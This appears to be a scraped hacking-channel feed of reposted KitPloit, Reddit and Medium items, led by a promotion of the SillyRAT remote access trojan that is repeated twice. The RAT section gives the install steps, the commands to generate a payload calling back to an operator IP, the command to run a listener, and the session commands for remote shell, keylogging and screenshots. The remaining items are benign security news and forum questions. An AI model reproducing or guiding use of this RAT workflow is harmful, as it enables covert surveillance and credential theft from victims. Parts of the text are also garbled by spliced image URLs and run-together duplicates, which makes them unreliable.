KitPloit - PenTest Tools!
SillyRAT - A Cross Platform Multifunctional (Windows/Linux/Mac) RAT

https://blogger.googleusercontent.com/img/a/AVvXsEjpsz9f0QdolzGmV7UsNK9StvNTJSqzSnd8fcl40mfahIWBTXnp8w07f49p4iLEvOu8f0VZo0QLC9rYsCMkT0asIs2VUh5mcrn9n7t9SkQ8-Xhbfd_R18OMXa7rfyZ9Gqpt4gmVfisMkwi5joD3sitDLGDvBpU5UCS4MAMEJwFBACu7HxKKDUfGYDRYsg=w640-h314 A Cross Platform multifunctional (Windows/Linux/Mac) RAT.Getting StartedDescriptionA cross platform RAT written in pure Python. The RAT accept commands alongside arguments to either perform as the server who accepts connections or to perform as the client/target who establish connections to the server. The generate command uses the module pyinstaller to compile the actual payload code. So, in order to generate payload file for your respective platform, you need to be on that platform while generating the file. Moreover, you can directly get the source file as well. Features* Built-in Shell for command execution
* Dumping System Information including drives and rams
* Screenshot module. Captures screenshot of client screen.
* Connection Loop (Will continue on connecting to server)
* Currently, it uses BASE64 encoding.
* Pure Python
* Cross Platform. (Tested on Linux. Errors are accepted)
* Source File included for testing
* Python 3 To be expected in future* Stealth Execution
* Encryption
* Storing Sessions from last attempt
* Pushing Notifications when a client connects InstallationThe tool is tested on Parrot OS with Python 3.8. Follow the steps for installation: $ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt DocumentationGenerating PayloadYou can get the payload file in two ways:

* Source File
* Compiled File
The source file is to remain same on all platforms. So, you can generate it on one platform and use it on the other. Getting the source file: $ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source The compiled version has to generated on the respective platform. For example, you can't generate an .exe file on Linux. You specifically have to be on Windows. The tool is still under testing. So, all kinds of errors are accepted. Make sure to open an issue though. Generating the Compiled Version for Linux: $ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer https://blogger.googleusercontent.com/img/a/AVvXsEgb8Scr-dE0nAgy5Vghmc1jmhAXX0BTF8bHKJx_XU8A2hsjHVOdbQVZWP6LBw9OV1_Tz1B9Ocl56fdyivqBiXdTK7jiLf2GI0bUJ5vnFcFzpxpXDPj4zpefYzAavytipr5ikbCOSVx_UYxWo9FGhu3ejblWzFEOOMHAPqU2npgNmwdASiQw9TB5tcvkXA=w640-h328 Replace your IP Address and Port on above commands. Running ServerThe server must be executed on Linux. You can buy a VPS or Cloud Server for connections. For the record, the server doesn't store any session from last run. So, all the progress will lost once the server application gets terminated. Running your server: $ python3 sillyrat.py bind --address 0.0.0.0 --port 2999 ConnectionsAll the connections will be listed under sessions command: $ sessions https://blogger.googleusercontent.com/img/a/AVvXsEjItTcUamzdomH_e5tZCU4n1zDROGlmDquYZz4BMy4k6_JlEiMWHIlwpnvX5kr3_noMtLUr0vE7-2raPYU0_UR10XsNm_UNCJ12sdHxggw2qHR8D6ywG4e3MmAwN-GOzl5l5bPjfP2ZXzeQ4XAk1v4i8zjEPiTd69j0-gf_2U0ZkGK3H4gtqgZSaKI57w=w640-h316 You can connect to you target session with connect command and launch one of available commands:

keylogger on $ keylogger dump $ screenshot ">$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot https://blogger.googleusercontent.com/img/a/AVvXsEhr-arAFh5s8xFhht98sdy8cCaD7A3UnrGFO6LGt6mLhuAG3GcbliRF-DqeYq1Qv0zcgu0qZe61Mr-epoGTrhGM5hD2wDPDLSI21Mz_uCmYFn6ZdO9Va0ghH4ewzEs0mjcbpYtKY9-Xdf[...]

___________________________
@hacking_Attack
@Hacking_Video

0sapdqUDXfKyPVRv9acZs41yGQX8CDwr4d7kWajwrZk57JFA=w640-h278 HelpGet a list of available commands: $ help Help on a Specific Command: $ help COMMAND SupportTwitter: @hash3liZer
Discord: TheFlash2k#0407 Download SillyRAT

___________________________
@hacking_Attack
@Hacking_Video

SillyRAT - A Cross Platform Multifunctional (Windows/Linux/Mac) RAT

A Cross Platform multifunctional (Windows/Linux/Mac) RAT.Getting StartedDescriptionA cross platform RAT written in pure Python. The RAT accept commands alongside arguments to either perform as the server who accepts connections or to perform as the client/target who establish connections to the server. The generate command uses the module pyinstaller to compile the actual payload code. So, in order to generate payload file for your respective platform, you need to be on that platform while generating the file. Moreover, you can directly get the source file as well.FeaturesBuilt-in Shell for command executionDumping System Information including drives and ramsScreenshot module. Captures screenshot of client screen.Connection Loop (Will continue on connecting to server)Currently, it uses BASE64 encoding. Pure PythonCross Platform. (Tested on Linux. Errors are accepted)Source File included for testingPython 3To be expected in futureStealth ExecutionEncryptionStoring Sessions from last attemptPushing Notifications when a client connectsInstallationThe tool is tested on Parrot OS with Python 3.8. Follow the steps for installation:$ git clone https://github.com/hash3liZer/SillyRAT.git$ cd SillyRAT/$ pip3 install -r requirements.txtDocumentationGenerating PayloadYou can get the payload file in two ways:Source FileCompiled FileThe source file is to remain same on all platforms. So, you can generate it on one platform and use it on the other. Getting the source file: $ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --sourceThe compiled version has to generated on the respective platform. For example, you can't generate an .exe file on Linux. You specifically have to be on Windows. The tool is still under testing. So, all kinds of errors are accepted. Make sure to open an issue though. Generating the Compiled Version for Linux:$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer Replace your IP Address and Port on above commands.Running ServerThe server must be executed on Linux. You can buy a VPS or Cloud Server for connections. For the record, the server doesn't store any session from last run. So, all the progress will lost once the server application gets terminated. Running your server:$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999ConnectionsAll the connections will be listed under sessions command:$ sessionsYou can connect to you target session with connect command and launch one of available commands:keylogger on $ keylogger dump $ screenshot ">$ connect ID$ keylogger on$ keylogger dump$ screenshotHelpGet a list of available commands:$ helpHelp on a Specific Command:$ help COMMANDSupportTwitter: @hash3liZerDiscord: TheFlash2k#0407Download SillyRAT
Read more...

___________________________
@hacking_Attack
@Hacking_Video

Fuzzing YouTube channel with lot of fuzzing videos
https://www.reddit.com/r/redteamsec/comments/qywlox/fuzzing_youtube_channel_with_lot_of_fuzzing_videos/

submitted by /u/secgeek (https://www.reddit.com/user/secgeek)
[link] (https://www.youtube.com/c/MrHardik05) [comments] (https://www.reddit.com/r/redteamsec/comments/qywlox/fuzzing_youtube_channel_with_lot_of_fuzzing_videos/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What Is Cyber Security

https://cdn-images-1.medium.com/max/2440/0*e8o0Isy8ZzNRYO5X
The internet, which has become the common language of technology in the world we live in today and enables computers to connect and…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
theHarvester is still my go-to OSINT tool for passive reconnaissance. This intelligence-gathering tool never chase to amaze!

https://external-preview.redd.it/O6vQzdVQ1Q87RQyBf7vuGEXLe3lxYpwxvgnpV313VUA.jpg?width=640&crop=smart&auto=webp&s=ce2113585506cc23b5e8f357ade4218578917efc submitted by /u/nexenta81
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is there any tool or site to view youtube analytics on other youtube channels?

I mean the analytics which can be shown from youtube studio which includes demographics like age, gender, etc. Is there a way to see them if the channel is not mine?

submitted by /u/bluuumoo
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Free Training on CompTIA A+ Full Course

Hi everyone,

I'm currently delivering free training on the full CompTIA A+ course. The course consists of 18 modules and I created a dedicated video for each module. Some of these videos might be a bit long since each video covers a whole module after all.

I added time stamps in each video for you convenience if your only looking for something specific in a module or only want to refresh on a certain topic so please feel free to make use of them.

There will be 20 videos for this course, the first is just the 4min intro explaining the course, the last will be a dedicated exam tips video and then obviously the 18 videos in between will be your modules with the actual course.

The training should be enough to pass both the international exams for A+ and the other courses I deliver should also be enough to pass the exams associated if there is a exam associated to that specific course.

If you have a question about a specific topic in a module or the course in general that you would like more clarity on, please feel free to ask and I will try to assist you where I can if I'm online.

Here is the course intro

CompTIA A+ Course Intro

submitted by /u/BurningIceTech
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How do websites block /administrator pages

A website has www.website/administrator but it redirects you to the main index.php page. How do the the actual admins get acces to it if i can't? If not, how do they block me from accessing that certain page.

​

​

Sorry if this is a really, really stupid question, i just can't find anything on google

submitted by /u/Puzzleheaded-Pea-683
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

PAN Card Privacy Issue | Exposing Your Personal Information | Income Tax Department
https://infosecwriteups.com/pan-card-privacy-issue-exposing-your-personal-information-income-tax-department-40f09e4b35cb?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hey, Amazing Hackers! Again, Raidh Ĥere. This writeup is based on a vulnerability which leads to expose your personal information’s…Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/pan-card-privacy-issue-exposing-your-personal-information-income-tax-department-40f09e4b35cb?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Understanding HTTP Strict Transport Security (HSTS)

HTTP strict transport security (commonly written as HSTS) is a browser response header allowing a website to specify that it should only…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Scammer info from phishing site?

Hi. Is there a way to find information about the scammer having available the website used for phishing?

the site: https://olx-ro.3dpay.art/card/208640243?

Thanks :)

submitted by /u/malburian
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Stacs - Static Token And Credential Scanner
http://www.kitploit.com/2021/11/stacs-static-token-and-credential.html

___________________________
@hacking_Attack
@Hacking_Video

Static Token And Credential Scanner

What is it?
STACS is a YARA (https://virustotal.github.io/yara/) powered static credential scanner which suports binary file formats, analysis (https://www.kitploit.com/search/label/Analysis) of nested archives, composable rulesets and ignore lists, and SARIF reporting.
What does STACS support?
Currently, STACS supports recursive unpacking of tarballs, gzips, bzips, zips, and xz files. As STACS works on detected file types, rather than the filename, propriatary file formats based on these types are automatically supported (such as Docker images, Android APKs, and Java JAR fles).
Who should use STACS?
STACS is designed for use by any teams who release binary artifacts. STACS provides developers the ability to automatically check for accidental inclusion of static credentials and key material in their releases.However, this doesn't mean STACS can't help with SaaS applications, enterprise software, or even source code!As an example, STACS can be used to find static credentials (https://www.kitploit.com/search/label/Credentials) in Docker images uploaded to public and private container (https://www.kitploit.com/search/label/Container) registries. It can also be used to find credentials accidentally compiled in to executables, packages for mobile devices, and "enterprise archives" - such as those used by Java application servers.
How does it work?
STACS detects static credentials using "rule packs" provided to STACS when run. These rule packs define a set of YARA rules to run against files provided to STACS. When a match against a rule is found, a "finding" is generated. These findings represent potential credentials inside of a file, and are reported on for a developer to remediate or "ignore".If the finding is found to be a false positive - that is, a match on something other than a real credential - the developer can generate a set of "ignore lists" to ensure that these matches don't appear in future reports.The real power from STACS comes from the automatic detection and unpacking of nested archives, and composable ignore lists and rule packs.
Ignore lists?
In order to allow flexible and collaborative usage, STACS supports composable ignore lists. This allows for an ignore list to include other ignore lists which enable composition of a "tree of ignores" based on organisational guidelines. These ignore lists are especially useful in organisations where many of the same frameworks or products are used. If a team has already marked a finding as a false positive, other teams get the benefit of not having to triage the same finding.
Rule packs?
In the same manner as ignore lists, rule packs are also composable. This enables an organisation to define a baseline set of rules for use by all teams, while still allowing teams to maintain rulesets specific to their products.
How do I use it?
The easiest way to use STACS is using the Docker images published to Docker Hub. However, STACS can also be installed directly from Python's PyPI, or by cloning (https://www.kitploit.com/search/label/Cloning) this repository. See the relevant sections below to get started!A cloud based service is coming soon which allows integration directly in build and release pipelines to enable detection of static credentials before release!
Docker
Using the published images, STACS can be used to scan artifacts right away! The STACS Docker images provides a number of volume mounts for files wanted to be scanned to be mounted directly into the scan container.As an example, to scan everything in the current folder, the following command can be run (Docker must be installed).docker run \
--rm \
--mount type=bind,source=$(pwd),target=/mnt/stacs/input \
stacscan/stacs:latest

___________________________
@hacking_Attack
@Hacking_Video